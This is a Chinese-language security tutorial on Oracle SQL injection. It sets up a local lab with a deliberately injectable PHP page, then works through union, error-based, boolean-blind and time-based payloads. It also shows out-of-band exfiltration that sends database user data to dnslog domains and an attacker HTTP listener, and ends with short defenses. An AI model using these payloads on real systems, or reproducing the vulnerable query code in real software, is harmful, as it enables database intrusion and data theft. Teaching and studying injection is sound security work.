Oracle注入

admin 2022年1月6日01:43:28评论40 views字数 20137阅读67分7秒阅读模式

Oracle 极速入门

我们可以把 Database(数据库) 看作是一个大仓库,仓库分了很多很多的房间,Schema 就是其中的房间,一个 Schema 代表一个房间,Table 可以看作是每个Schema 中的床,Table(表)被放入每个房间中,不能放置在房间之外,放在外面岂不是就是无家可归了。然后床上可以放置很多物品,就好比 Table 上可以放置很多列和行一样。数据库中存储数据的基本单元是 Table,对应现实中每个仓库放置物品的基本单位就是床, User(用户) 就是每个 Schema 的主人(所以 Schema 包含的是 Object,而不是 User),User 和 Schema 是一一对应的,每个 User 在没有特别指定下只能使用自己 Schema(房间)的东西,如果一个 User 想使用其他 Schema(房间)的东西,那就要看那个 Schema(房间)的 User(主人)有没有给你这个权限了,或者看这个仓库的老大(DBA)有没有给你这个权限了。换句话说,如果你是某个仓库的主人,那么这个仓库的使用权和仓库中的所有东西都是你的(包括房间),你有完全的操作权,可以扔掉不用的东西从每个房间,也可以放置一些有用的东西到某一个房间,你还可以给每个 User 分配具体的权限,也就是规定某 User(某人)到 某一个 Schema(某一个房间)能做些什么,是只能看(Read-Only),还是可以像房间主人一样有所有的控制权(R/W)。这个就要看这个 User 所对应的 Role(角色)了。假如你是仓库的老大(DBA),你还可以设计一张工卡(角色),分为普通用户与 vip,拥有 vip 工卡的人,可以拥有你的权限。工卡(角色)并不指代具体的用户,只是权限的集合。

基本概念

Oracle 中有三个重要的基本概念:数据库实例数据库SID

Oracle 的数据库实例(Instance)其实是后台进程SGA 的总称:

  • 后台进程:负责接受和处理客户端传来的数据,如 Windows 下由 oracle.exe 进程负责分发和处理请求。
  • SGA:全称为 System Global Area,即系统全局区域。实际上是内存中的一片共享区域,其中包含实例配置、数据缓存、操作日志等信息,由后台进程进行共享。

而通常数据库实例会用一个唯一标识来标识,这个标识符便称为 SID(System Identifier)。

数据库一般指物理存储的文件,Oracle 数据库除了基本的数据文件,还有控制文件Redo 日志。数据库一般位于 $ORACLE_HOME/oradata/SID,SID 对应创建数据库时指定的实例 SID,数据文件以 *.dbf 的形式存放。

首先,数据库实例数据库并不是必须相互依赖而存在的。当实例启动时,可以不关联任何数据库。数据库可以存在于磁盘,不附加到任何实例,当然这样无法与用户进行交互。一般而言,数据库附加到实例中,与其进行关联,是一对一的关系。但是在集群环境下,一个数据库可以对应多个实例,这些实例分布在不同的服务器上。但反过来,一个实例只能对应一个数据库。

数据结构

表空间

相对于其他数据库,Oracle 中有一个比较特殊的概念:表空间(Tablespace)。数据文件就是由多个表空间组成的,这些数据文件和相关文件形成一个完整的数据库:

image-20210102195604792

如上图,当数据库创建时,Oracle 会默认创建五个表空间:SYSTEMSYSAUXUSERSUNDOTBSTEMP

  • SYSTEM:看名字就知道这个用于是存储系统表和管理配置等基本信息
  • SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
  • UNDOTBS:用于事务回退等
  • TEMP:作为缓存空间减少内存负担
  • USERS:就是存储我们定义的表和数据

Schema

Oracle 数据库支持多用户,用户想在同个数据库中创建相同名称的表或其他歧义数据,该怎么办?

Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同。

Schema表空间是一个层次的概念,它们都有一个很重要的特性,就是对表的独占性。Schema 是表的逻辑集合,是所有应用访问表必须指定的对象(一般都省略了,但是实际上一定是 db.schema.table 这种访问模式,例如访问 scott 用户下的 emp 表,这时 Schema 的名称也为 scott,而 select from emp 这条 sql 语句的完整写法为:select from scott.emp),同一张表不可能既属于这个 Schema,又属于另一个 Schema。表空间是表的物理集合,是所有磁盘读写必须访问的文件(一般由 Oracle 管理,个性化的需求DBA 管理),同一张表也不可能既放在这个表空间,又放在那个表空间。

权限与用户管理

权限和角色

Oracle 中划分了许多用户权限,权限的集合称为角色。例如 CONNECT 角色具有连接到数据库权限,RESOURCE 能进行基本的 CURD 操作(即,增加:create,修改:update,查找:read,删除:delete),DBA 则集合了所有的用户权限。

用户

创建数据库时,会默认启用 syssystem 等用户:

  • sys:相当于 Linux 下的 root 用户。为 DBA 角色
  • system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
  • public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

一篇比较详细的 Oracle 权限管理的博文:传送门🚪

基本语法

按照 MySQL 注入的学习方法,先从语法入手:

1
2
3
4
5
6
select column, group_function(column)
from table
[where condition]
[group by group_by_expression]
[having group_condition]
[order by column];

执行过程:from — where — group by — having — select — order by

可以看出,和 MySQL 很类似。实际上都是 SQL 标准的语法。

与MySql异同

注意

  • 以下加了 -- priv 的语句说明需要管理员权限
  • 虽然 Oracle 没有类似 MySQL 的数据库的概念,而是用表空间来代替:一个 Oracle 只有一个数据库,它给账户开辟数据库空间,称之为表空间(TableSpace),创建数据库就是开辟账户的表空间。为了叙述的方便,我将 Oracle 的表空间也称为 数据库

语法

  • Oracle中select 必须要指明表名。若并非对真实的表进行查询,则需要用 dual 作为表名,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录。。

  • 单引号与双引号:Oracle 的单引号与 MySQL 一直,但是双引号用于消除系统关键字。例如,有个表的字段叫sysdate,因为sysdate属于oracle中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;,若用 select 'sysdate' from table_name;查询就相当于 select sysdate from table_name;,而sysdate 用于获得当前时间。

  • 第 n 行的数据:SELECT colmn_name FROM (SELECT ROWNUM r, table_name FROM users ORDER BY colmn_name) WHERE r=n;select colmn_name from table_name limit n, 1;

  • Oracle中limit应该使用虚表中的rownum字段通过where条件判断

    1
    select * from pyy where rownum = 1;  #查询一行
  • Oracel的单行注释符是–,多行注释符是/**/

  • 拼接字符:SELECT 'a' || 'b' FROM dual;select 'a' 'b'

  • case 语法SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;

  • Oracle 中空字符串''就是null(也就是说,只有null,没有空字符),而 MySQL 是区分null''的。

系统表

  • dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
  • all_tables : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
  • user_tables: 当前用户名下的表的信息
  • DBA_ALL_TABLES:DBA 用户所拥有的或有访问权限的对象和表
  • ALL_ALL_TABLES:某一用户拥有的或有访问权限的对象和表
  • USER_ALL_TABLES:某一用户所拥有的对象和表

总结:

  • DBA_TABLES >= ALL_TABLES >= USER_TABLES
  • DBA_ALL_TABLES >= ALL_ALL_TABLES >= USER_ALL_TABLES

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全

同样,user_tab_columnsall_tab_columnsdba_tab_columns 也是一样的。

获取数据库信息

描述:Oracle: MySQL

  • 服务器版本:SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 或者 SELECT version FROM v$instance;select version()
  • 操作系统版本:SELECT banner FROM v$version where banner like 'TNS%';: @@version_compile_os
  • 当前数据库:SELECT global_name FROM global_name; 或者 SELECT name FROM v$database;或者SELECT instance_name FROM v$instance;或者SELECT SYS.DATABASE_NAME FROM DUAL;select database()
  • 获取当前用户权限的所有数据库:SELECT DISTINCT owner, table_name FROM all_tables;
  • 表名:SELECT table_name FROM all_tables;select table_name from information_schema.tables
  • 字段名:SELECT column_name FROM all_tab_columnsselect COLUMN_NAME from information_schema.COLUMNS

获取用户信息

描述:Oracle: MySQL

  • 当前数据库用户:SELECT user FROM dual;: user()
  • 所有数据库用户:SELECT username FROM all_users ORDER BY username; 或者 SELECT name FROM sys.user$; -- privselect user from mysql.user;
  • 所有数据库用户的密码 hash:SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g 或者 SELECT name, spare4 FROM sys.user$; -- priv, >= 11g
  • 当前用户的权限:SELECT * FROM session_privs;show grants;
  • 所有用户的权限:SELECT * FROM dba_sys_privs -- privselect Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv from mysql.user; -- priv, mysql.user 中各种以 _priv 结尾的字段
  • 用户角色:SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 或者 SELECT DISTINCT grantee FROM dba_sys_privsselect user, Super_priv from mysql.user;

函数

两者相同

数学函数 ROUND、ABS、CEIL、FLOOR、MAX、MIN

字符串函数 ASCII、CHAR、REPLACE、SUBSTRING、INSTR、LOCATE、LPAD、UPPER、LOWER

两者不同

描述:Oracle: MySQL

  • 按位与:SELECT bitand(6, 2) FROM dual;select 6 & 2
  • 字符串转 hex:select utl_raw.cast_to_raw('admin') from dual;hex()
  • 查找子串:select INSTR('sdsq', 's', 2) value from dual -- 要求从位置 2 开始select INSTR('sdsq', 's') value -- 从默认的位置 1 开始,无法改变
  • SUBSTR:MySQL 有,Oracle 无,但是 Oracle 可用 substring 代替
  • 求字符长度:LENGTHCHAR_LENGTH
  • 求字节长度:LENGTHBLENGTH
  • “case”:select decode('s', 's', 'n', 'none') from dual; -- decode(条件, 值 1, 翻译值 1, 值 2, 翻译值2 , ...值 n, 翻译值 n, 缺省值)用 case 实现
  • 时延:select DBMS_PIPE.RECEIVE_MESSAGE('任意值', 1) from dual;sleep(1)。除此之外时延还可以利用 select count(*) from all_objects;来,原理是需要花费较多时间去查询所有数据库的条目。另外,利用 带外通道 发起网络请求,也有可能造成时延。
  • SYS_CONTEXT
    系统启动时,在 userenv 中存储了一些系统上下文信息,通过 SYS_CONTEXT 函数,我们可以取回相应的参数值。包括当前用户名等等。
    更多可用参数说明可以查阅 Oracle 提供的文档:SYS_CONTEXT

更多非函数的语句区别可以见这个博文:传送门🚪

常用SQL语句

获取数据库版本

1
2
3
4
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT * from v$version WHERE rownum=1;
SELECT version FROM v$instance;
select version from product_component_version;

image-20210102181505951

image-20210102181749353

image-20210102181630919

image-20210102190700789

注:v$version视图在sys表空间下,只有BANNER一列,数据库的版本就在第一行,所以一般不用like,只需where rownum = 1即可

返回的字段为:Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

所以延时注入时,快速查版本号使用select * from v%instance;语句

获取操作系统版本

1
SELECT banner FROM v$version where banner like 'TNS%';

image-20210102182230971

1
SELECT member from v$logfile WHERE rownum=1; --依据路径判断服务器操作系统

image-20210103143809289

获取用户相关信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
获取数据库所有用户:
SELECT user FROM dual;--获取当前数据库用户
SELECT sys_context('userenv','current_user') from dual;--当前连接用户
SELECT username FROM all_users ORDER BY username;--列出所有用户
SELECT name FROM sys.user$; —- priv;列出所有用户

列出所有数据库用户密码哈希:
SELECT name, password, astatus FROM sys.user$ —- priv; <= 10g(astatus能够在acct被锁定的状态下给你反馈)
SELECT name,spare4 FROM sys.user$ —- priv; 11g

获取数据库用户权限
SELECT * FROM session_privs; 获取当前用户权限
SELECT * from session_roles; --当前用户的权限
SELECT * FROM dba_sys_privs; -- priv 获取所有用户权限

获取用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
SELECT DISTINCT grantee FROM dba_sys_privs;

列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; —- priv

获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;--主机名
SELECT host_name FROM v$instance;--主机名
SELECT UTL_INADDR.get_host_address FROM dual; --查IP
SELECT UTL_INADDR.get_host_name('127.0.0.1') FROM dual; --查主机名称

SELECT name FROM V$DATAFILE; --获取DB文件路径

获取当前数据库(SID)

1
2
3
4
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance; --服务器SID
SELECT SYS.DATABASE_NAME FROM DUAL;

image-20210102191024572

global_name也是单列

获取表名和字段名

1
2
3
4
5
SELECT DISTINCT owner FROM all_tables; --列出所有数据库名
SELECT table_name FROM all_tables; --获取所有表名
SELECT owner, table_name FROM all_tables;--获取当前用户权限的所有表名
SELECT column_name FROM all_tab_columns; --所有获取字段名
SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';

distinct去重

1
2
3
4
select TABLESPACE_NAME FROM USER_TABLESPACES;--查看所有的表空间
select TABLE_NAME from USER_TABLES WHERE ROWNUM=1;--查看当前用户的所有表
select column_name from user_tab_columns where table_name='DEMO';--查看当前用户的所有的列,如查询DEMO表下的所有列
SELECT object_name from user_objects;--查看当前用户的所有对象(表名称,约束、索引)

环境搭建

使用Kitematic搜索oracle11

image-20210105153614638

安装后查看配置文件和DOC说明

image-20210105153547054

随便启动一个apache

ORACLE注入PHP-demo如下:

修改其中的HOST、PORT和SID和依据自己的数据库随便一条注入语句即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<body>
<?php
header("Content-Type:text/html;charset=utf-8");
$id = @$_GET['id'];
//$conn = oci_connect('system','Aa123456');
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 32773)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = xe) (INSTANCE_NAME = xe)))"; //连接数据库的参数配置
$conn = oci_connect('system','oracle',$dbstr);//连接数据库,前两个参数分别是账号和密码
if (!$conn)
{
$Error = oci_error();//错误信息
print htmlentities($Error['message']);
exit;
}
else
{
echo "<h2>Oracle 注入实验</h2>"."<br>";
//ocilogoff($conn);

$sql = "select * from hr.JOB_HISTORY where JOB_ID='".$id."'";//sql语句
$ora_test = oci_parse($conn,$sql); //编译sql语句
oci_execute($ora_test,OCI_DEFAULT); //执行

echo "-------------------------------------------------<br>";
echo "Oracle语句:".$sql;
echo "<h2>查询结果</h2>"."<br>";
echo '<table border="1" width="1200" align="left">';
while($r=oci_fetch_row($ora_test)) //取回结果
{
echo "<tr>";
$i=0;
//echo $ora_test[0];
echo "<td>";
echo "EMPLOYEE_ID:".$r[$i++]." </t> <br>";
echo "</td>";

echo "<td>";
echo "START_DATA:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "END_DATA:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "JOB_ID:".$r[$i++]." </t><br> ";
echo "</td>";

echo "<td>";
echo "DEPARTMENT_ID:".$r[$i++]." </t><br> ";
echo "</td>";

echo "</tr>";
}
echo "</table>";
}
oci_close($conn);//关闭连接
?>

</body>
</html>

http://127.0.0.1/oracle.php?id=IT_PROG

image-20210105153842019

可以执行则搭建成功。

联合注入

正常执行,回显如下图

select * from hr.JOB_HISTORY where JOB_ID=’IT_PROG’ union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual–’

image-20210103155239766

判断列数

1
http://127.0.0.1/oracle.php?id=IT_PROG' order by 6--

报错,则为5列

image-20210103154517279

联合注入

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select null,null,null,null,null from dual--

image-20210103155217979

判断每个字段的数据类型

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,'4',null from dual--

如下图:判断为第一列int型,第四列char型

image-20210103155450649

报错如下,则为前后的数据类型不匹配:

1
Warning: oci_fetch_row(): ORA-24374: define not done before fetch or execute and fetch in D:\phpStudy_x64_8.0.1\WWW\oracle.php on line 27

存疑:DATA类型如何转换?如何注入?

判断当前数据库的用户

payload:select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select SYS_CONTEXT('USERENV','CURRENT_USER')  from dual),null from dual--

image-20210103160710386

判断当前数据库的版本

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select banner from sys.v_$version where rownum=1),null from dual--

image-20210103160949821

暴破数据库名

payload:select owner from all_tables where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1),null from dual--

为SYS

image-20210103161047470

判断下一个数据库

关键payload: owner <>'SYS'

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS'),null from dual--

为:OUTLN

image-20210103161144159

判断下下个数据库

关键payload:and owner <>'SYS' and owner <>'OUTLN'

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' and owner <>'OUTLN'),null from dual--

image-20210103161350617

得到的数据库有:SYS、OUTLN、SYSTEM

后续可以不断的去暴破,直到暴破所有的数据库名为止(报错即为没有下一个数据库了)。

注意:表一定要大写。

当前用户的表的获取

payload:select table_name from user_tables where rownum=1

select table_name from all_tables 查看所有表

image-20210103161748313

得到表名LOGMNR_SESSION_EVOLVE$

同样使用 and table_name <>'LOGMNR_SESSION_EVOLVE$'遍历所有的表名

同时注意此处得到的表名有可能重复,加上distinct去重

即:select distinct table_name from user_tables where rownum=1 and table_name <> 'LOGMNR_SESSION_EVOLVE$'

获取字段名

payload:select column_name from user_tab_columns where table_name='XXX' and rownum=1

获取第一列:

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1),null from dual--

image-20210103162551520

得到第一列:BRANCH_LEVEL

获取第二列:

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select column_name from user_tab_columns where table_name='LOGMNR_SESSION_EVOLVE$' and rownum=1 and column_name<>'BRANCH_LEVEL'),null from dual--

image-20210103162722625

得到第二列:SESSION#

暴数据

image-20210103191758410

以hr库中的COUNTER表为例

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select CONCAT(COUNTRY_ID,COUNTRY_NAME) from hr.COUNTRIES where rownum=1),null from dual--

image-20210103200138597

select CONCAT(COUNTRY_ID,COUNTRY_NAME,REGION_ID) from hr.COUNTRIES会报错,因为REGION_ID为int类型

oracle的字符连接用||符号,或者用concat,但是concat只能连接字符串(可以嵌套实现连接多个字符串),输出不友好,所以我这里用||符号连接输出的字符串

1
http://127.0.0.1/oracle.php?id=IT_PROG' union select 1,null,null,(select COUNTRY_ID||'~'||COUNTRY_NAME||'~'||REGION_ID from hr.COUNTRIES where rownum=1),null from dual--

image-20210103201816349

报错注入

判断注入点

payload:select count(*) from user_tables

1
http://127.0.0.1/oracle.php?id=IT_PROG' and (select count (*) from user_tables)>0 --

image-20210103203344661

image-20210103203358519

>0可以正常执行,<0执行异常,则存在注入点

报错函数

utl_inaddr.get_host_name( )

获取ip 地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。

payload:1=utl_inaddr.get_host_name(select user from dual)

添加几个飘号容易识别

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=utl_inaddr.get_host_name((select '~'||user||'~' from dual))--

image-20210103204936713

ctxsys.drithsx.sn():

1
1=ctxsys.drithsx.sn(1,(select user from dual))

该函数在查询关于主题的对应关键词时,会报错显示出第二个参数的结果

XMLType():

1
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

dbms_xdb_version.checkin()

1
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

bms_xdb_version.makeversioned()

1
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

dbms_xdb_version.uncheckout()

1
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

dbms_utility.sqlid_to_sqlhash()

1
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

ordsys.ord_dicom.getmappingxpath()

1
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

decode()

1
and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

注意:decode()不会显示报错信息,需要通过页面来判断。当substr(user,1,1)=‘S’页面报错,其他情况页面无报错也不会显示数据。类似盲注。

decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值)

意思是:当条件等于值1时就得到返回值1~~~~

eg:

1
2
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'A',(1/0),0) from dual) --
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'B',(1/0),0) from dual) --

上述测试结果为页面正常,不显示任何数据,也不报错。

显示如下的结果,说明当前用户的首字母是S,代码decode(substr(user,1,1),’S’,(1/0),0)中

substr(user,1,1)=’S’时,就返回(1/0)的值,但是0不能为分母,所以报错!

image-20210104103042711

其他的暴数据库、表、字段的过程和之前一致。

布尔盲注

在Oracle布尔盲注实验中,可以是普通猜解的方法也可以使用某些函数来辅助猜解,如前面提到的decode函数,以及instr函数等。接下来我们测试普通猜解方法、decode方法和instr方法。

普通猜解方法(substr+ascii)

获取当前用户下的数据表长度

payload:SELECT LENGTH(table_name) from user_tables where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 19=(SELECT LENGTH(table_name) from all_tables where rownum=1)--

页面正常显示,判断当前的用户下表长度为19

image-20210104104448246

获取数据表名的每个字符

猜测数据库表的每个字符,使用字符截取函数substr和ascii函数

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 68=((select ascii(substr(table_name,1,1)) from all_tables WHERE rownum=1))--

substr(string, start,length)

只有页面正常显示才能推出每个字符的ASCII码。当前数据表的首字母的ASCII是65,也即A,同理依次遍历得到数据表名。

获取数据表的字段长度

以HR.COUNTRIES表为例,

payload:select LENGTH(column_name) from user_tab_columns where table_name=’XXX’ and rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 10=(select LENGTH(COLUMN_NAME) from all_tab_columns where table_name='COUNTRIES' and rownum=1)--

image-20210104110539382

没有报错,显示正常,说明长度为10

获取数据表下的字段名的每个字符

payload:select ascii(substr(column_name,1,1)) from all_tab_columns where table_name=’XXX’ and rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 67=(select ascii(substr(column_name,1,1)) from all_tab_columns where table_name='COUNTRIES' and rownum=1)--

页面显示正常,则说明第一个字符为C,这个过程也可以用burp去暴破

ASCII码范围:0~127

获取字段长度

payload:select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from XXX where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 11=(select length(CONCAT(COUNTRY_ID,COUNTRY_NAME)) from hr.COUNTRIES where rownum=1)--

获取字段内容的每个字符

payload:select CONCAT(COUNTRY_ID,COUNTRY_NAME) from XXX where rownum=1

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 65=(select ascii(substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1)) from hr.COUNTRIES where rownum=1)--

逐个遍历即可得到完整字段内容。

注:1、有时候直接使用substr也可以进行注入,加入burp遍历更方便,不用依次转换ascii码的值。被过滤时,再考虑使用ascii转换

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 'A'=(select substr(CONCAT(COUNTRY_ID,COUNTRY_NAME),1,1) from hr.COUNTRIES where rownum=1)--

image-20210104120227037

2、布尔盲注:先猜长度,再猜字段。

DECODE函数方式

Decode的使用方法:decode(字段或字段的运算,值1,值2,值3)

​ 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3
当然值1,值2,值3也可以是表达式

判断当前用户名长度

select decode(length(user),4,1,0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(length(user),6,1,0) from dual)--

image-20210104135314061

显示正常,说明用户长度为6

获取当前用户名内容的每个字符

select decode(substr(user,1,1),’S’,1,0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',1,0) from dual)--

逐个遍历即可得到完整字段内容。

暴破表、字段内容的方法同上。

INSTR函数

函数instr的使用方法:instr(string1,string2),在string1中找到string2所在的位置,找到返回其索引。

eg:SELECT INSTR(‘substr’, ‘str’) from dual;

image-20210104140638636

select instr((select user from dual),’TEST’) from dual; –返回值是1 说明用户中有TEST字符串

select instr((select length(user) from dual),4) from dual;– 返回值是1 说明用户的长度是4

select instr((select length(table_name) from user_tables where rownum=1),4) from dual; –返回值是1 说明当前用户的第一个表的名称长度是4

该如何判断名称每个字符呢?

select instr(substr((select table_name from user_tables where rownum=1),1,1),’D’) from dual; –返回值是1 书名表名的第一个字符是D,后续可以通过BP去暴破。

延时盲注

在Oracle延时注入利用过程中需要使用DECODE、DBMS_PIPE.RECEIVE_MESSAGE等函数来延时数据库的处理时间,最后测试者可以通过网页的加载时间来判断注入结果。

DECODE函数的使用方法此处不再讨论。

DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)表示从RDS管道返回的数据需要等待5秒,一般情况下可以以PUBLIC权限使用该函数。

payload:and 1= dbms_pipe.receive_message(‘RDS’, 5)–

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1= dbms_pipe.receive_message('RDS', 5)-- 

image-20210104141922131

image-20210104142006833

可以看到页面网络加载时间是5S,可以看到注入效果。注意该函数的返回值是1

image-20210104142246720

后续步骤需要使用DECODE函数。

DECODE(condition,value,dbms_pipe.receive_message(‘RDS’, 5),0),意思是当condition=value就返回dbms_pipe.receive_message(‘RDS’, 5),那么页面就等待5秒时间,从而达到延时注入的目的。

payload:select decode(substr(user,1,1),’T’,dbms_pipe.receive_message(‘RDS’,5),0) from dual

1
http://127.0.0.1/oracle.php?id=IT_PROG' and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual)--

image-20210104143500771

image-20210104143529219

得到用户名SYSTEM

还有其他方式延时注入,如select count(*) from all_objects,大量统计操作很耗时,可以辅助延时注入,但是延长时间不好控制。

image-20210104143727090

带外注入

方法一:utl_http.request()

select utl_http.request(“www.baidu.com") from dual;

eg:

1
select utl_http.request((select user from dual)||'.ljc08k.dnslog.cn') from dual;

image-20210105152132436

image-20210105152206125

方法二:utl_inaddr.get_host_address()

select utl_inaddr.get_host_address(‘www.baidu.com') from dual;

1
select utl_inaddr.get_host_address((select user from dual)||'.m8146s.dnslog.cn') from dual;

image-20210105152310252

image-20210105152350116

方法三:DBMS_LDAP.INIT()

select SYS.DBMS_LDAP.INIT((select user from dual)||’.aaaa.com’,80) from dual

注意第二个参数不能丢,否则报错如下:

image-20210105150902730

1
ORA-06553: PLS-306: wrong number or types of arguments in call to 'INIT'

eg:

1
SELECT DBMS_LDAP.INIT('uka9e0.dnslog.cn',80) FROM DUAL;

image-20210105150120452

image-20210105150452571

1
select DBMS_LDAP.INIT((select user from dual)||'.uka9e0.dnslog.cn',80) from dual

image-20210105150508554

image-20210105150545179

检测方法

utl_http.request()

payload:

1
and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 --

基本上每次都要60秒才回显到web,但是发送请求的那一刻,服务器就会收到消息。

image-20210105173852589

image-20210105171147816

web视图如下:

1
http://127.0.0.1/oracle.php?id=IT_PROG' and utl_http.request('http://ip:2333/'||(SELECT user FROM dual))=1 --'

image-20210105173102629

utl_inaddr.get_host_address()

payload:

1
and utl_inaddr.get_host_address((select user from dual)||'.29qo74.dnslog.cn')='1' --

image-20210105174550521

image-20210105174601204

web视图:

image-20210105174951685

DBMS_LDAP.INIT()

payload:

1
and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'--

image-20210105174038638

image-20210105174137608

web视图:

1
http://127.0.0.1/oracle.php?id=IT_PROG' and DBMS_LDAP.INIT((select user from dual)||'.113bm3.dnslog.cn',80)='1'--

image-20210105174212382

报错未解决如下:有可能是数据库没有这几个函数

1
Warning: oci_execute(): ORA-00920: invalid relational operator

image-20210105151625565

Oracle注入防御

1、代码层防御技术

使用参数化查询语句、验证输入、规范化等技术,如JAVA中使用JDBC框架,C#使用ADO.NAT框架,PHP使用PDO架构等。Oracle PL/SQL 在数据库代码层也可以使用参数化方式去查询,它使用带有编号的冒号字符去绑定参数来达到防注入的目的[5][6]。

2、输入验证

任何输入的数据均是不可信的,可以对不可信数据进行验证,如使用黑白名单过滤等。在JAVA中可以使用定义一个输入验证类,实现javax.faces.validator.Validator接口,对用户输入进行验证。C#可以使用某些具有验证功能的控件对用户输入进行验证。PHP中可以使用正则表达式验证用户输入,或者使用特定功能函数判断输入是否合法。

3、输出编码

https://cloud.tencent.com/developer/article/1672145

https://xz.aliyun.com/t/7897

https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html

FROM :b0urne.top | Author:b0urne

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:43:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Oracle注入http://cn-sec.com/archives/722414.html

发表评论

匿名网友 填写信息